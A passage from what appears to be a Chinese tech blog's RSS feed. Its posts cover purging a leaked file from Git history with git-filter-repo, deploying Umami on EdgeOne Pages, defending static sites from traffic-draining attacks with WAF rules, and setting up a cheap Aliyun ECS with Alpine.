&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-31.CODvihMm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往控制台绑定域名（若路由需要手动写一条解析到Cloudflare）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-28.DAlSuux4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用移动端Bitwarden创建账号（使用白名单邮箱）&lt;/p&gt;
&lt;p&gt;接下来，前往网页端（ &lt;code&gt;/demo.html&lt;/code&gt; 默认使用的是 Vaultwarden的前端，可能会有些Bug），启用2FA： https://cfbw.2x.nz （用另一个TOTP验证器存储）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;顺便一提，想要修改邮箱或主密码也可以在网页端进行了&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-32.CZlw4t58.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将所有已登录的设备登出后再登入则会被要求TOTP&lt;/p&gt;
&lt;h1&gt;导入密码库&lt;/h1&gt;
&lt;p&gt;如果您有旧的密码库，请先前往 &lt;strong&gt;设置 - 密码库选项 - 导出 - .json&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;再登录当前密码库，前往 &lt;strong&gt;设置 - 密码库选项 - 导入 - .json&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/warden-worker-33.BfQ920D_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何让一个文件在Git提交中永远消失？如何丢掉其中一条提交并保持逻辑完整？</title><link>https://2x.nz/posts/del-git-commit/</link><guid isPermaLink="true">https://2x.nz/posts/del-git-commit/</guid><description>我们有时候可能会误操作导致提交了一个不该提交的文件，当你发现的时候，在此之后已经堆砌了很多新的提交...</description><pubDate>Fri, 23 Jan 2026 22:57:21 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;接简介&lt;/p&gt;
&lt;p&gt;这个时候我们实际上是需要将那个错误提交的文件在所有Git提交上抹掉，并且逻辑自洽&lt;/p&gt;
&lt;p&gt;当然，如果你不嫌麻烦或者仓库提交本来就很少，你可以一点点的手动重写Git提交历史。又或是将历史提交合并为一个提交，强制推送&lt;/p&gt;
&lt;p&gt;但是，这些方法要不太磨人，要不不优雅&lt;/p&gt;
&lt;p&gt;假设这个仓库有1000+提交又不想合并所有提交历史呢？&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;有个PIP包正好可以满足我们的需求， &lt;strong&gt;git-filter-repo&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install git-filter-repo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装后，进入你的Git仓库运行，接下来，我们只需要传一个文件路径给它即可&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;--path&lt;/strong&gt; 是传入的文件路径，可以是相对路径也可以是绝对路径。但是注意，要用 &lt;strong&gt;/&lt;/strong&gt; 分割路径&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;--force&lt;/strong&gt; 是让它忽略安全性条件（如必须是一个刚克隆的仓库）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;--invert-paths&lt;/strong&gt; 是反选路径，也就是 &lt;strong&gt;剔除&lt;/strong&gt; 指定 &lt;strong&gt;--path&lt;/strong&gt; 的文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;执行后它会查找该文件所在仓库的所有提交，并仅将该文件剔除，若某一提交中仅对该文件做了更改，则一整条提交直接消失（因为提交中无文件更改）；若某一提交中除了对该文件做了更改，还有其他文件，则该条提交仍然存在，但是文件变更记录中不再有该文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git-filter-repo --force --path src/secret.txt --invert-paths
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如这里我们一不小心提交了个 &lt;strong&gt;微信密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-2.C9UkfQys.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以用该命令将其 &lt;strong&gt;剔除&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git-filter-repo --force --path 微信密码.txt --invert-paths
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-4.DgnUTmgr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到，效果非常拔群， &lt;strong&gt;微信密码.txt&lt;/strong&gt; 已经不翼而飞了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-3.BNb0zIgp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是还有个问题，就是我们曾经的 &lt;strong&gt;提交文本&lt;/strong&gt; 暴露了 &lt;strong&gt;我们曾经曾上传过微信密码相关的文件&lt;/strong&gt; ，虽然实际上文件已经被剔除了&lt;/p&gt;
&lt;p&gt;那有没有办法把这条提交删掉呢？有的，兄弟有的&lt;/p&gt;
&lt;p&gt;我们可以使用原生的 &lt;strong&gt;git rebase&lt;/strong&gt; ，以该提交作为 &lt;strong&gt;基点&lt;/strong&gt; ，将后续提交接在该提交上，这样就可以 &lt;strong&gt;架空&lt;/strong&gt; 该提交。宏观来看，我们就在Git仓库中从 &lt;strong&gt;中间&lt;/strong&gt; 删除了一条提交&lt;/p&gt;
&lt;p&gt;首先，我们需要获取该提交的 &lt;strong&gt;哈希&lt;/strong&gt; ，这里假设为 &lt;strong&gt;4e19d1fc6af5119cb33128a92d5d4e80fc42e6ef&lt;/strong&gt; （仅需前8位即可）&lt;/p&gt;
&lt;p&gt;接下来，使用变基命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase --onto 4e19d1fc^ 4e19d1fc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会报错并自动中断变基进程，Git表示该提交有些文件和当前的提交冲突，无法自动解决冲突&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-5.DvZ1k4dx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于我们要以当前提交为准，仅剔除中间的提交，所以我们使用该命令 &lt;strong&gt;以当前提交为基准，解决所有文件的冲突&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout --theirs .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来将冲突标记为 &lt;strong&gt;已解决&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add -A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-6.Dj0WcQGW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续变基进程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git rebase --continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会弹出一个修改Git提交的vim，直接关掉即可。 &lt;strong&gt;ESC&lt;/strong&gt; + &lt;strong&gt;:q&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-7.DUVNn6nE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果中途又停下来重复上面几步即可。最终，检查你的本地提交，确认要删除的提交已经不再存在。并且目前工作区的文件没有任何更改，仅更改了Git历史提交记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-9.B3vXzA4P.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，我们需要将本地仓库 &lt;strong&gt;覆写&lt;/strong&gt; 到远程仓库，由于最开始的PIP包在命令执行完毕后会将远程仓库删除，我们此时需要重新添加回来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin https://github.com/你的用户名/你的仓库名.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;建立upstream并强制推送到远端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin main -f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，大功告成。自此时起，所有用户都已经看不到那个你不想让别人看到的文件与提交记录了，就像它从未存在过&lt;/p&gt;
&lt;p&gt;&lt;em&gt;真的吗？&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;如果说，有些人仍留存着你仓库提交的完整 &lt;strong&gt;commit id&lt;/strong&gt; ，那他们可以通过该链接访问到那个你想隐藏的提交，只不过Github会弹出警告： &lt;strong&gt;This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.（此提交不属于此仓库的任何分支，可能属于仓库外的某个分支副本。）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/{user}/{repo}/commit/{commit id}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想完全从Github上删除，你需要向Github提交支持工单： &lt;a href=&quot;https://support.github.com/&quot;&gt;GitHub 支持&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击我的工单&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-10.B20zkIQy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;新工单&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-11.BRNLIHUJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从我拥有或控制的存储库中删除数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-12.yjf8D5Ud.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;删除其他数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-13.M4Qo501B.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来填写工单，你可以参考我的主题与正文（生成与 OpenAI ChatGPT 5.2）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Title:Request to Remove an Orphaned Commit URL Containing Sensitive Information

Hello GitHub Support Team,

I am writing to request the removal of the following commit page from GitHub’s website:

https://github.com/{user}/{repo}/commit/{commit id}

This commit has already been removed from my local repository history and I have force-pushed the updated history to the GitHub remote repository. As a result, the commit is now orphaned and no longer reachable from any branch or tag.

However, the commit page itself is still accessible via its direct URL. Unfortunately, this commit contained sensitive information, and I would like to request that GitHub remove this URL from the website to prevent further access.

Please let me know if you need any additional information or verification from my side to proceed with this request.

Thank you very much for your time and assistance.

Best regards,  
{user}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-14.BD8kgge7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后点击 &lt;strong&gt;Continue&lt;/strong&gt; ，新版工单系统会自动使用Copilot为你生成一些帮助信息，等他BB完，我们继续创建即可&lt;/p&gt;
&lt;p&gt;马上，你就会收到一封来自Github的邮件，表示Github已经收到您的工单。耐心等待Github的下一步回复即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-15.BwPyXx78.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Update...&lt;/p&gt;
&lt;p&gt;Github支持在12分钟后就删除了相关内容，这真的很高效&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/del-git-commit-16.BGC_VfQO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>WTF？！直接将Umami部署到EdgeOne Pages？扔掉VPS！直接跑在云函数！</title><link>https://2x.nz/posts/eo-umami/</link><guid isPermaLink="true">https://2x.nz/posts/eo-umami/</guid><description>我们都知道，EdgeOne Pages有个完整的Node.js环境，那Umami是Next.js也基于Node.js，那我们是不是可以...</description><pubDate>Mon, 19 Jan 2026 02:14:32 GMT</pubDate><content:encoded>&lt;h1&gt;原理探寻&lt;/h1&gt;
&lt;p&gt;由于 &lt;strong&gt;Umami&lt;/strong&gt; 使用的是 &lt;strong&gt;SSR&lt;/strong&gt; ，我原以为EdgeOne Pages不支持该模式，尝试部署后发现最大的问题在于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Error: SSR functions package size exceeds 128MiB limit (157MiB)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，EdgeOne Page是支持SSR程序的，只是Umami构建后的函数太大了，那么我们的思路就很清晰了，只需要裁切一些代码即可&lt;/p&gt;
&lt;p&gt;那么该项目就应运而生了 &lt;a href=&quot;https://github.com/afoim/umami&quot;&gt;afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我将Umami v3中的无关紧要的东西，如 &lt;code&gt;像素统计&lt;/code&gt; &lt;code&gt;链接统计&lt;/code&gt; &lt;code&gt;团队&lt;/code&gt; &lt;code&gt;地理位置文件&lt;/code&gt; 删去了，最终可以在EO上部署一个残血版的Umami&lt;/p&gt;
&lt;p&gt;至于数据库，我用的是 https://supabase.com/ 需要注意，连接方式不能用 &lt;code&gt;Direct Connection&lt;/code&gt;
&lt;img src=&quot;https://2x.nz/_astro/eo-umami-2.D7p90eg-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Demo： &lt;a href=&quot;https://eo-umami.acofork.com/share/rC995W8J6CT4uLDo&quot;&gt;Umami&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;视频： https://www.bilibili.com/video/BV1JiqSBaEY1/&lt;/p&gt;
&lt;p&gt;唯一的缺陷，无法获取用户地区（原逻辑有个高达60M的本地Geo文件）
&lt;img src=&quot;https://2x.nz/_astro/eo-umami.CbDWii1K.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;上手部署&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Fork 该仓库 [&lt;a href=&quot;https://github.com/afoim/umami&quot;&gt;afoim/umami: Umami is a modern, privacy-focused analytics platform. An open-source alternative to Google Analytics, Mixpanel and Amplitude.&lt;/a&gt;](https://github.com/afoim/umami-edgeonepages/tree/main)&lt;/li&gt;
&lt;li&gt;连接到EdgeOne Pages，但先别点部署&lt;/li&gt;
&lt;li&gt;填写环境变量 &lt;code&gt;DATABASE_URL&lt;/code&gt; 从Supbase中拿，类似于 &lt;code&gt;postgresql://postgres.kupggtyqiaepzvjqbboy:[YOUR-PASSWORD]@aws-1-ap-northeast-1.pooler.supabase.com:5432/postgres&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;绑定你的域名，访问并登录。用户名： admin | 密码：umami&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;内部重定向貌似出了问题，如果你想要访问设置更改你的管理员密码请手动前往 &lt;code&gt;/settings/preferences&lt;/code&gt;&lt;/s&gt; 他们解决了这个问题，但是...&lt;/p&gt;
&lt;p&gt;但是有个新问题，就是POST请求全被吃了，目前代码暂时将所有POST请求改为了GET请求。我们在 &lt;strong&gt;Main&lt;/strong&gt; 分支发布了全GET请求的版本，保证普通用户可用&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;master 分支目前提供给腾讯当作试验场使用，会暴露很多敏感信息，别用&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>静态网站也需要WAF？Cloudflare不需要但是EdgeOne/ESA需要！</title><link>https://2x.nz/posts/waf/</link><guid isPermaLink="true">https://2x.nz/posts/waf/</guid><description>在几周前，我的网站累计被DDoS了约100TB的流量，哪怕我是静态网站，并不会被“打死”，但因为流量过大，还是被EdgeOne取消接入了，其实这件事本不会发生...</description><pubDate>Sat, 17 Jan 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;静态网站能不能被打死？&lt;/h1&gt;
&lt;p&gt;首先，先给结论：&lt;/p&gt;
&lt;p&gt;如果你托管在 &lt;strong&gt;Cloudflare Page&lt;/strong&gt; ，那确实不用担心，因为它既不对静态请求计费，自身的CDN网络也足够强大，只要不是一天一PB，都是稳如老狗的&lt;/p&gt;
&lt;p&gt;但是，如果你托管在 &lt;strong&gt;EdgeOne/ESA&lt;/strong&gt; 等计费平台，是 &lt;strong&gt;可以被打死&lt;/strong&gt; 的&lt;/p&gt;
&lt;p&gt;有人就会问了： 我都是静态网站了，源站都没有，怎么能被打死呢？&lt;/p&gt;
&lt;p&gt;是的，你的确没有源站，静态网站也不计请求数，但是如果你任何防护都不配，所有人，或者说所有IP都可以批量刷取你站的流量，一天刷个几TB。几天后，&lt;strong&gt;CDN方可能就会给你取消接入了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么我们要解决的问题也就明晰了，其实跟动态网站一样，本质就是： &lt;strong&gt;让网站尽可能服务真实用户&lt;/strong&gt; 。只不过对于动态站，这是为了 &lt;strong&gt;防止源站被打死&lt;/strong&gt; ，而对于静态网站，是为了 &lt;strong&gt;CDN看到大额流量&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;如何做WAF？&lt;/h1&gt;
&lt;p&gt;首先，如果你使用的CDN是国内节点，就直接拦截海外访问&lt;/p&gt;
&lt;p&gt;因为大部分刷子的IP都来自海外（大陆IP金贵），直接拦截可以很好防止大文件被刷取，如图片等。我就是个例子
&lt;img src=&quot;https://2x.nz/_astro/waf-1.CPutt9XR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实做好这一步，你已经 &lt;strong&gt;99%&lt;/strong&gt; 不会被刷死了，因为海外刷子本来可以刷 &lt;strong&gt;100~1000KB&lt;/strong&gt;不等的图片，但现在只能刷 &lt;strong&gt;拦截页面&lt;/strong&gt; 了（一般不到 &lt;strong&gt;5KB&lt;/strong&gt; ），而一般拦截页面没有太多信息，甚至有些平台能自定义拦截页面，使其返回空报文（&lt;strong&gt;小于1KB&lt;/strong&gt;）&lt;/p&gt;
&lt;p&gt;假如原本刷子可以拿 &lt;strong&gt;十万个&lt;/strong&gt; IP刷死你，而现在刷子需要 &lt;strong&gt;100 * 100000 个&lt;/strong&gt; IP才能刷死了 ，这无疑是个指数级别的增长，并且你还是静态站，刷死你除了让业务停机，你也不会收到任何账单，大部分刷子会放弃刷站&lt;/p&gt;
&lt;p&gt;接下来我们仍然可以配置额外防护，比如 &lt;strong&gt;速率限制&lt;/strong&gt;，&lt;strong&gt;全局JS质询&lt;/strong&gt; 等，这些都是针对于真实访客无感的验证&lt;/p&gt;
&lt;p&gt;对于 &lt;strong&gt;速率限制&lt;/strong&gt; 。真实访客不会进你站疯狂按F5短时间刷大量请求&lt;/p&gt;
&lt;p&gt;对于 &lt;strong&gt;JS质询&lt;/strong&gt; 。真实访客是用 &lt;strong&gt;浏览器&lt;/strong&gt; 访问的，而不是 &lt;strong&gt;curl&lt;/strong&gt; &lt;strong&gt;wget&lt;/strong&gt; &lt;strong&gt;okhttp&lt;/strong&gt; &lt;strong&gt;httpx&lt;/strong&gt; 等无JS执行模块的轻 &lt;strong&gt;请求发生器&lt;/strong&gt; 访问的，所以建议开启全站JS拦截&lt;/p&gt;
&lt;p&gt;接下来才是重磅的，如果你的站被刷特别严重，尽管在L7全拦截住了，但是流量还是止不住的被刷刷刷，那就不要犹豫，&lt;strong&gt;关闭CDN的 HTTP 2.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是什么原理？我们都知道，在HTTP 2.0，引入了 &lt;strong&gt;连接复用&lt;/strong&gt; ，也就是在一个TCP连接里面可以发很多HTTP请求，这无疑降低了攻击成本&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;经过实测，关闭HTTP 2.0后，攻击者从1分钟刷50G暴跌到了10分钟刷5G&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;视频： https://www.bilibili.com/video/BV1paryBeEbP/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;总结：如何成为最耐刷的网站？&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;拦截海外&lt;/li&gt;
&lt;li&gt;所有请求JS质询（注意不要质询到API）&lt;/li&gt;
&lt;li&gt;设置速率限制&lt;/li&gt;
&lt;li&gt;关闭CDN的HTTP 2.0&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;奇技淫巧&lt;/h1&gt;
&lt;h3&gt;ESA禁海外访问&lt;/h3&gt;
&lt;p&gt;针对于ESA，免费版用户可能无法设置区域限制
&lt;img src=&quot;https://2x.nz/_astro/waf-3.BNiJ6h9V.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是我们可以 &lt;strong&gt;曲线救国&lt;/strong&gt; ，先设置一个规则将所有请求默认拦截，再判断是不是大陆IP，如果是，则跳过这个规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/waf-4.ZFAly36f.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/waf-5.COJ_jxC6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;视频： https://www.bilibili.com/video/BV1fKimBnE3T/&lt;/p&gt;
&lt;h3&gt;EdgeOne Page使用CDN WAF&lt;/h3&gt;
&lt;p&gt;EdgeOne是个奇葩，它的CDN和Page的WAF是分开的，并且Page的WAF防护非常烂，只能 &lt;strong&gt;针对单个IP&lt;/strong&gt; 进行拦截
&lt;img src=&quot;https://2x.nz/_astro/waf-8.DJfUfSIK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以让CDN回源Page让Page吃上CDN的WAF策略，左边为CDN创建域名界面，右边悬浮窗为Page界面&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
这样设置后你会在总览看到双倍的流量，因为CDN回源Page记一次，而Page真正提供源站内容再记一次。可以通过开启缓存来缓解&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/waf-7.DRAG2_tK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>什么？4元每月200G的服务器？还是阿里的？还有联通9929精品回程？？</title><link>https://2x.nz/posts/aliyun-ecs-4rm/</link><guid isPermaLink="true">https://2x.nz/posts/aliyun-ecs-4rm/</guid><description>通过创建抢占型实例+每月免费CDT 200G流量包，你几乎只需要付很少的硬盘费！</description><pubDate>Fri, 16 Jan 2026 15:59:40 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
抢占型实例在高峰期可能会进行回收，不要跑生产业务&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
下文都是以 &lt;strong&gt;阿里云国内版&lt;/strong&gt; 演示的，注意在国内版按量付费业务需要账户内可用余额要 &amp;gt;=100 CNY。国际版无限制，但是要海外手机号+海外卡，有可能还需要KYC&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;下载Alpine镜像&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于我们主要的成本在硬盘上面，所以呢为了极致压缩空间，我们需要一个非常小巧的Linux镜像，以便我们可以用1G的 ESSD 云盘来安装。如果你也是极致玩家，仅用1G盘装系统，那么一定就要用我下面给你的Alpine镜像
如果你财大气粗，不在乎，或者说想跑一些正常业务，想用Debian或Ubuntu，那就10G起步，也不需要自定义镜像了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Alpine 60M镜像链接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/alpine-virt-3.23.2-x86_64.iso
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;将镜像上传至阿里云OSS&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于我们需要自定义镜像，但是镜像又必须要通过OSS提供，所以我们需要临时性的创建一个OSS Bucket实例，来上传我们的ISO镜像。在实例成功创建后，我们可以将其删除，以避免不必要的扣费&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先，来到 &lt;a href=&quot;https://oss.console.aliyun.com/bucket&quot;&gt;OSS管理控制台&lt;/a&gt; ，创建一个 Bucket，&lt;strong&gt;地域一定要选中国香港&lt;/strong&gt; ，并且上传ISO，最后，复制URL备用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-1.C4Pl7WdA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;导入镜像&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://ecs.console.aliyun.com/image/region/cn-hongkong&quot;&gt;云服务器管理控制台&lt;/a&gt; ，选择右上角的 导入镜像
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-2.Bnh-huIU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意需要授权ECS访问OSS业务
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-3.F37ZqLtc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后正常填写，&lt;strong&gt;取消勾选“导入后执行检测”&lt;/strong&gt; ，先不要点下一步&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-4.BdLcfgD2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来勾选配置云盘属性，并且将 &lt;strong&gt;云盘容量设置为1GB&lt;/strong&gt; ，确认无误，导入
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-5.nQBUY6y2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;创建ECS抢占型实例&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://ecs.console.aliyun.com/server/&quot;&gt;云服务器管理控制台&lt;/a&gt; ，创建 &lt;strong&gt;中国香港&lt;/strong&gt; 实例，注意红框区域要保持一致&lt;/p&gt;
&lt;p&gt;另外，对于 &lt;strong&gt;网络及可用区&lt;/strong&gt; ，香港一共有 &lt;strong&gt;B、C、D&lt;/strong&gt; 三个区，D区比B、C区贵不少，可以都开开测个速，留下最好的
&lt;img src=&quot;https://2x.nz/_astro/ALIECSSNPSHOT.CdiQi8Ik.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;开通CDT&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://cdt.console.aliyun.com/overview&quot;&gt;云数据传输&lt;/a&gt; 将升级状态全部变为已升级即可
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-6.DmUtJXyE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;创建&amp;amp;绑定弹性公网IP并且挂上CDT&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;因为弹性公网IP可以绑定CDT的每月200G免费流量，并且在绑定实例后，弹性公网IP将不会再扣费。如果后续删机的时候不要忘记释放弹性公网IP，否则会一直扣费&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://vpc.console.aliyun.com/eip/cn-hongkong/eips&quot;&gt;专有网络管理控制台&lt;/a&gt; 如图选择，然后购买即可（这里显示的费用是纯持有不绑定的费用，一旦绑定就不计费了）
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-7.BHElGt3b.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来绑定弹性公网IP（因为我绑定过了，所以是解绑）
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-8.DtFO-1LQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来在这里绑定CDT，带宽最高可以拉到 2000Mbps，但是不推荐，一般300M够用了
&lt;img src=&quot;https://2x.nz/_astro/aliyun-ecs-4rm-9.L9_IXU_l.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Alpine&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你安装了Alpine，默认是需要VNC进入手动配置系统的。如果是公共镜像，则已经可以用了，但不要忘了保证系统纯净&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://ecs.console.aliyun.com/server/&quot;&gt;云服务器管理控制台&lt;/a&gt; 选择你刚买的ECS，接下来点击 &lt;strong&gt;远程连接&lt;/strong&gt; ，展开更多，选择 &lt;strong&gt;通过VNC远程连接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来就是愉快的敲命令环节~ （方括号内为默认值，你可以输入新值回车覆盖也可以直接回车应用默认值）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;启动 Alpine 安装程序&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;localhost:~# setup-alpine
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择键盘布局&lt;/li&gt;
&lt;/ul&gt;
